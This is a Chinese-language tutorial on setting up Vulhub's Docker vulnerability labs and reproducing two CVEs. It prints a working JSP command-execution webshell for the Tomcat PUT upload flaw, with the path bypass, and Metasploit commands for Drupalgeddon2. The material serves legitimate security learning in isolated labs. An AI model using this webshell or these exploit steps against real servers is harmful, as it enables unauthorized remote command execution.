这是一份详细的 Vulhub 靶场通关教程,旨在帮助初学者和中级安全爱好者系统性地学习漏洞复现和渗透测试技术。
一、 Vulhub 是什么?
Vulhub 是一个基于 Docker 和 Docker-Compose 的漏洞环境集合。它预先配置了各种存在已知漏洞的应用程序环境,你只需要一条命令就能启动一个完整的、隔离的漏洞靶场,无需复杂的配置,极大地降低了漏洞复现和学习的安全门槛。
核心优势:
一键搭建:使用
即可启动环境。
docker-compose up -d
环境隔离:每个靶场都在独立的 Docker 容器中运行,互不干扰。
高度还原:完美复现真实漏洞的利用场景。
种类丰富:覆盖 Web 漏洞、中间件漏洞、系统漏洞等各种类型。
安全无害:所有环境均在本地或内网运行,不会对公网造成影响。
二、 准备工作与环境搭建
在开始“通关”之前,你需要准备好你的“武器库”。
1. 必需软件安装
Docker: Vulhub 的运行基础。
Windows/Mac: 下载并安装 Docker Desktop。
Linux (Ubuntu为例):
bash
sudo apt update sudo apt install docker.io sudo systemctl start docker sudo systemctl enable docker
Docker-Compose: 用于编排和管理多个 Docker 容器。
通常 Docker Desktop 已自带。Linux 系统可能需要单独安装:
bash
sudo apt install docker-compose
Git: 用于下载 Vulhub 源码。
(Linux) 或从官网下载。
sudo apt install git
2. 获取 Vulhub
从 GitHub 上克隆项目到本地:
bash
git clone https://github.com/vulhub/vulhub.git cd vulhub
现在,
目录下包含了所有按漏洞分类的文件夹。
vulhub
3. 启动一个靶场环境
以 CVE-2017-12615 (Apache Tomcat PUT方法任意文件上传漏洞) 为例:
bash
# 进入该漏洞所在的目录 cd /tomcat/CVE-2017-12615 # 使用 docker-compose 自动构建并启动环境 docker-compose up -d # 查看启动的容器状态 docker ps
输出应显示一个正在运行的 Tomcat 容器,通常映射到主机的
端口。
8080
4. 关闭并清理环境
实验结束后,务必关闭环境以释放资源。
bash
# 在对应的漏洞目录下(如 /tomcat/CVE-2017-12615)执行: docker-compose down # 如果你想彻底删除构建的镜像(可选) docker-compose down --rmi all
三、 通用通关流程与学习方法
Vulhub 的“通关”不仅仅是按照说明复现漏洞,更重要的是理解其原理。以下是建议的通用流程:
选择目标:在
目录下选择一个你感兴趣的漏洞,例如
vulhub
。
struts2/s2-062
启动环境:进入目录,执行
。
docker-compose up -d
阅读文档:非常重要! 查看目录下的
文件,通常会有漏洞简介、影响版本、漏洞原理和利用方法。这是你最重要的信息来源。
README.md
信息收集:访问启动的服务(如
),使用浏览器开发者工具、Burp Suite 等工具观察正常请求。
http://your-ip:8080
漏洞复现:根据
的指导,使用 Burp Suite、curl、Python 脚本或其他EXP工具进行漏洞利用。
README.md
原理分析:成功利用后,回过头来结合
和分析文章,理解漏洞的根本成因。思考:
README.md
漏洞的代码层面问题出在哪里?
利用链是如何构成的?
修复方案是什么?
举一反三:尝试用不同的 payload 或工具进行利用,加深理解。
清理环境:实验完成后,使用
关闭环境。
docker-compose down
四、 经典漏洞复现示例
这里举两个例子,展示如何应用上述流程。
示例 1: CVE-2017-12615 (Tomcat PUT上传漏洞)
启动环境:
cd tomcat/CVE-2017-12615 && docker-compose up -d
访问服务: 浏览器打开
,看到 Tomcat 页面。
http://your-ip:8080
阅读README: 得知漏洞源于配置不当(
设置为
readonly
),允许 PUT 方法上传文件。
false
复现利用:
使用 Burp Suite 抓取任意请求。
将其改为 PUT 方法,路径为
(注意结尾的
/shell.jsp/
,这是绕过手段之一)。
/
在 Body 中写入 JSP Webshell 代码:
jsp
<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
发送请求,返回
即表示上传成功。
201 Created
验证: 访问
,成功执行了系统命令,输出用户信息。
http://your-ip:8080/shell.jsp?cmd=id
示例 2: CVE-2018-7600 (Drupal Dredged漏洞)
启动环境:
cd drupal/CVE-2018-7600 && docker-compose up -d
访问服务: 浏览器打开
,开始安装 Drupal(一路下一步即可)。
http://your-ip:8080
阅读README: 得知漏洞存在于注册表单的渲染过程中,允许远程代码执行。
复现利用:
使用已知的 EXP 工具,如 drupalgeddon2。
或者使用 Metasploit 框架:
bash
msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS your-ip set RPORT 8080 run
成功后会获得一个 Meterpreter Shell。
验证: 在获得的 Shell 中执行
、
whoami
等命令,确认漏洞利用成功。
pwd
五、 提高效率的工具推荐
Burp Suite Professional: Web 渗透测试神器,用于抓包、重放、扫描、爆破等。
Browser Developer Tools (F12): 浏览器自带的分析工具,用于快速分析前端和网络请求。
Metasploit Framework: 强大的渗透测试框架,内置大量EXP。
Sqlmap: 自动化的 SQL 注入工具。
Nuclei: 基于模板的快速漏洞扫描器,可以快速检测 Vulhub 中的漏洞。
Python & Pip: 用于编写和运行自定义的 EXP 脚本。
六、 注意事项
法律红线: Vulhub 仅用于本地学习、研究和授权测试。严禁用于任何未经授权的网络测试。
资源消耗: Docker 会占用磁盘和内存空间。定期使用
清理不再使用的镜像、容器和网络。
docker system prune
网络问题: 在国内构建镜像时可能会缓慢,需要配置 Docker 国内镜像加速器。
善于搜索: 遇到问题时,先仔细阅读
,然后 Google 错误信息或漏洞编号,通常都能找到解决方案。
README.md
总结
Vulhub 是学习网络安全漏洞的绝佳平台。真正的“通关”不是启动所有环境,而是通过亲手复现每一个漏洞,深入理解其原理、利用手法和防御措施,最终将知识内化,形成自己的渗透测试思维。
祝你学习愉快,技术精进!